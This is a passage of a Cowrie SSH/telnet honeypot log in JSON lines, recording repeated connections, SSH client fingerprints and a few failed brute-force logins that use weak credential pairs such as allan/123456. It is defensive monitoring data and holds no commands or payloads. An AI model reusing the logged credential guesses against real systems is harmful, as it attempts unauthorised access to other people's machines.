mac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:14.153011Z","src_ip":"159.203.92.129","session":"fe23e542e1e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"allan","password":"123456","message":"login attempt [allan/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:14.289700Z","src_ip":"159.203.92.129","session":"fe23e542e1e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:15.297527Z","src_ip":"159.203.92.129","session":"fe23e542e1e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.71689224243164,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:16.814186Z","src_ip":"159.203.13.64","session":"51a0c4905e6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.4026198387146,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:16.867680Z","src_ip":"159.203.13.64","session":"8663c249cfd3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":57196,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3a980079738","protocol":"telnet","message":"New connection: 80.252.221.197:57196 (159.203.135.109:23) [session: e3a980079738]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:17.880789Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":57210,"dst_ip":"159.203.135.109","dst_port":23,"session":"79ff53c2715e","protocol":"telnet","message":"New connection: 80.252.221.197:57210 (159.203.135.109:23) [session: 79ff53c2715e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:18.035767Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":57212,"dst_ip":"159.203.135.109","dst_port":23,"session":"b68ee0af4553","protocol":"telnet","message":"New connection: 80.252.221.197:57212 (159.203.135.109:23) [session: b68ee0af4553]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:18.310493Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":57228,"dst_ip":"159.203.135.109","dst_port":23,"session":"1cd9e72850cd","protocol":"telnet","message":"New connection: 80.252.221.197:57228 (159.203.135.109:23) [session: 1cd9e72850cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:18.415924Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":54116,"dst_ip":"10.17.0.5","dst_port":23,"session":"744a2800cdc5","protocol":"telnet","message":"New connection: 159.203.13.64:54116 (10.17.0.5:23) [session: 744a2800cdc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:20.225837Z"}
{"eventid":"cowrie.session.closed","duration":46.037943601608276,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:20.535413Z","src_ip":"159.203.13.64","session":"c8b0665a69e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.543206453323364,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:20.831167Z","src_ip":"159.203.13.64","session":"f4e8195246bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":52710,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2832a8a9437","protocol":"telnet","message":"New connection: 159.203.13.64:52710 (10.17.0.5:23) [session: c2832a8a9437]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:22.268767Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":57240,"dst_ip":"159.203.135.109","dst_port":23,"session":"fedad2c4ee02","protocol":"telnet","message":"New connection: 80.252.221.197:57240 (159.203.135.109:23) [session: fedad2c4ee02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:23.404088Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":57242,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c53c180ac62","protocol":"telnet","message":"New connection: 80.252.221.197:57242 (159.203.135.109:23) [session: 7c53c180ac62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:24.372953Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":57258,"dst_ip":"159.203.135.109","dst_port":23,"session":"435f94774e3c","protocol":"telnet","message":"New connection: 80.252.221.197:57258 (159.203.135.109:23) [session: 435f94774e3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:24.693551Z"}
{"eventid":"cowrie.session.closed","duration":48.65011262893677,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:25.897993Z","src_ip":"159.203.13.64","session":"878de202a419","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":57268,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d2efc8a1ec8","protocol":"telnet","message":"New connection: 80.252.221.197:57268 (159.203.135.109:23) [session: 2d2efc8a1ec8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:26.216894Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":52718,"dst_ip":"10.17.0.5","dst_port":23,"session":"2528159e2dd1","protocol":"telnet","message":"New connection: 159.203.13.64:52718 (10.17.0.5:23) [session: 2528159e2dd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:27.181808Z"}
{"eventid":"cowrie.session.closed","duration":41.5838098526001,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:27.499913Z","src_ip":"159.203.13.64","session":"296b0c48c10f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.861820936203,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:28.151475Z","src_ip":"159.203.13.64","session":"e141d616826d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.9936420917511,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:28.964943Z","src_ip":"159.203.13.64","session":"981927097daa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.985785961151123,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:29.254435Z","src_ip":"159.203.13.64","session":"c2832a8a9437","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":54294,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9c7369768cf","protocol":"telnet","message":"New connection: 80.252.221.197:54294 (159.203.135.109:23) [session: f9c7369768cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:30.352340Z"}
{"eventid":"cowrie.session.closed","duration":36.763049840927124,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:30.476288Z","src_ip":"159.203.13.64","session":"a7faeca6e658","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.03826117515564,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:33.253826Z","src_ip":"159.203.13.64","session":"d47d1925723c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":37404,"dst_ip":"10.17.0.5","dst_port":23,"session":"c681e5fcbe49","protocol":"telnet","message":"New connection: 159.203.13.64:37404 (10.17.0.5:23) [session: c681e5fcbe49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:36.241649Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":37412,"dst_ip":"10.17.0.5","dst_port":23,"session":"59b8d659f526","protocol":"telnet","message":"New connection: 159.203.13.64:37412 (10.17.0.5:23) [session: 59b8d659f526]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:36.391598Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":37428,"dst_ip":"10.17.0.5","dst_port":23,"session":"484f2d7f3953","protocol":"telnet","message":"New connection: 159.203.13.64:37428 (10.17.0.5:23) [session: 484f2d7f3953]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:38.208943Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":37438,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbf50773d097","protocol":"telnet","message":"New connection: 159.203.13.64:37438 (10.17.0.5:23) [session: cbf50773d097]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:38.975474Z"}
{"eventid":"cowrie.session.closed","duration":43.194684982299805,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:39.337054Z","src_ip":"159.203.13.64","session":"98acfbb8da60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":41294,"dst_ip":"10.17.0.5","dst_port":23,"session":"343069f3ebce","protocol":"telnet","message":"New connection: 159.203.13.64:41294 (10.17.0.5:23) [session: 343069f3ebce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:41.102559Z"}
{"eventid":"cowrie.session.closed","duration":41.83816051483154,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:42.541198Z","src_ip":"159.203.13.64","session":"3b741cd6a7bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.5620276927948,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:44.560037Z","src_ip":"80.252.221.197","session":"186a15be0094","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":41308,"dst_ip":"10.17.0.5","dst_port":23,"session":"e79f5f3fc8ce","protocol":"telnet","message":"New connection: 159.203.13.64:41308 (10.17.0.5:23) [session: e79f5f3fc8ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:44.564664Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":41324,"dst_ip":"10.17.0.5","dst_port":23,"session":"459392c514f7","protocol":"telnet","message":"New connection: 159.203.13.64:41324 (10.17.0.5:23) [session: 459392c514f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:44.792728Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":41334,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c0bf5a0ec89","protocol":"telnet","message":"New connection: 159.203.13.64:41334 (10.17.0.5:23) [session: 2c0bf5a0ec89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:45.398161Z"}
{"eventid":"cowrie.session.closed","duration":41.909295320510864,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:45.584791Z","src_ip":"159.203.13.64","session":"80d06de5d5df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.9896035194397,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:46.641243Z","src_ip":"159.203.13.64","session":"54ef6b55d470","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":41346,"dst_ip":"10.17.0.5","dst_port":23,"session":"f07a5252987c","protocol":"telnet","message":"New connection: 159.203.13.64:41346 (10.17.0.5:23) [session: f07a5252987c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:46.774138Z"}
{"eventid":"cowrie.session.closed","duration":42.61992311477661,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:46.850081Z","src_ip":"159.203.13.64","session":"ae2eafc90ae1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.08395290374756,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:49.189947Z","src_ip":"159.203.13.64","session":"d36cd84b8dd4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.91683506965637,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:50.797506Z","src_ip":"80.252.221.197","session":"e3a980079738","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":49436,"dst_ip":"159.203.135.109","dst_port":23,"session":"537bfee4bef6","protocol":"telnet","message":"New connection: 80.252.221.197:49436 (159.203.135.109:23) [session: 537bfee4bef6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:51.158154Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":36794,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ba29a7269d0","protocol":"telnet","message":"New connection: 159.203.13.64:36794 (10.17.0.5:23) [session: 3ba29a7269d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:51.766135Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":49450,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4a0a52174a7","protocol":"telnet","message":"New connection: 80.252.221.197:49450 (159.203.135.109:23) [session: f4a0a52174a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:52.026277Z"}
{"eventid":"cowrie.session.closed","duration":34.395883560180664,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:52.431536Z","src_ip":"80.252.221.197","session":"79ff53c2715e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.9660918712616,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:53.382334Z","src_ip":"159.203.13.64","session":"6c513f183330","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.0776846408844,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:54.388043Z","src_ip":"80.252.221.197","session":"b68ee0af4553","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":36804,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a9b2be8bea8","protocol":"telnet","message":"New connection: 159.203.13.64:36804 (10.17.0.5:23) [session: 2a9b2be8bea8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:54.543650Z"}
{"eventid":"cowrie.session.closed","duration":41.18182396888733,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:54.999244Z","src_ip":"159.203.13.64","session":"761dbbbdd65a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.176127195358276,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:55.591954Z","src_ip":"80.252.221.197","session":"1cd9e72850cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.521244287490845,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:55.746973Z","src_ip":"159.203.13.64","session":"744a2800cdc5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":36812,"dst_ip":"10.17.0.5","dst_port":23,"session":"7312faf6bc1a","protocol":"telnet","message":"New connection: 159.203.13.64:36812 (10.17.0.5:23) [session: 7312faf6bc1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:56.088614Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50642,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b7c8fe408cb","protocol":"ssh","message":"New connection: 159.203.92.129:50642 (159.203.135.109:22) [session: 3b7c8fe408cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:58.090291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:58.095112Z","src_ip":"159.203.92.129","session":"3b7c8fe408cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:58.099036Z","src_ip":"159.203.92.129","session":"3b7c8fe408cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"allan","password":"allan","message":"login attempt [allan/allan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:58.110103Z","src_ip":"159.203.92.129","session":"3b7c8fe408cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.72559189796448,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:58.129547Z","src_ip":"80.252.221.197","session":"fedad2c4ee02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":36822,"dst_ip":"10.17.0.5","dst_port":23,"session":"57d57de403cb","protocol":"telnet","message":"New connection: 159.203.13.64:36822 (10.17.0.5:23) [session: 57d57de403cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:58.893044Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:50:59.115807Z","src_ip":"159.203.92.129","session":"3b7c8fe408cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.14190220832825,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:00.514730Z","src_ip":"80.252.221.197","session":"7c53c180ac62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":55488,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc2c4dc8d810","protocol":"telnet","message":"New connection: 159.203.13.64:55488 (10.17.0.5:23) [session: fc2c4dc8d810]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:01.876238Z"}
{"eventid":"cowrie.session.closed","duration":37.30756592750549,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:02.000980Z","src_ip":"80.252.221.197","session":"435f94774e3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.965526580810547,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:02.317736Z","src_ip":"80.252.221.197","session":"f9c7369768cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.39969062805176,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:02.616505Z","src_ip":"80.252.221.197","session":"2d2efc8a1ec8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":55496,"dst_ip":"10.17.0.5","dst_port":23,"session":"2426b500c2c4","protocol":"telnet","message":"New connection: 159.203.13.64:55496 (10.17.0.5:23) [session: 2426b500c2c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:05.648883Z"}
{"eventid":"cowrie.session.closed","duration":38.98990321159363,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:06.171580Z","src_ip":"159.203.13.64","session":"2528159e2dd1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":55506,"dst_ip":"10.17.0.5","dst_port":23,"session":"63b9ee701270","protocol":"telnet","message":"New connection: 159.203.13.64:55506 (10.17.0.5:23) [session: 63b9ee701270]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:07.556788Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":55520,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5764a153654","protocol":"telnet","message":"New connection: 159.203.13.64:55520 (10.17.0.5:23) [session: f5764a153654]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:07.971680Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":55522,"dst_ip":"10.17.0.5","dst_port":23,"session":"d831b98bf15c","protocol":"telnet","message":"New connection: 159.203.13.64:55522 (10.17.0.5:23) [session: d831b98bf15c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:08.775196Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":55524,"dst_ip":"10.17.0.5","dst_port":23,"session":"36c78d447212","protocol":"telnet","message":"New connection: 159.203.13.64:55524 (10.17.0.5:23) [session: 36c78d447212]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:10.692167Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":41894,"dst_ip":"159.203.135.109","dst_port":23,"session":"719738b2e569","protocol":"telnet","message":"New connection: 80.252.221.197:41894 (159.203.135.109:23) [session: 719738b2e569]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:11.691157Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":41902,"dst_ip":"159.203.135.109","dst_port":23,"session":"e74a013184ad","protocol":"telnet","message":"New connection: 80.252.221.197:41902 (159.203.135.109:23) [session: e74a013184ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:11.840354Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":41904,"dst_ip":"159.203.135.109","dst_port":23,"session":"e97f87939d81","protocol":"telnet","message":"New connection: 80.252.221.197:41904 (159.203.135.109:23) [session: e97f87939d81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:51:11.979549Z"}
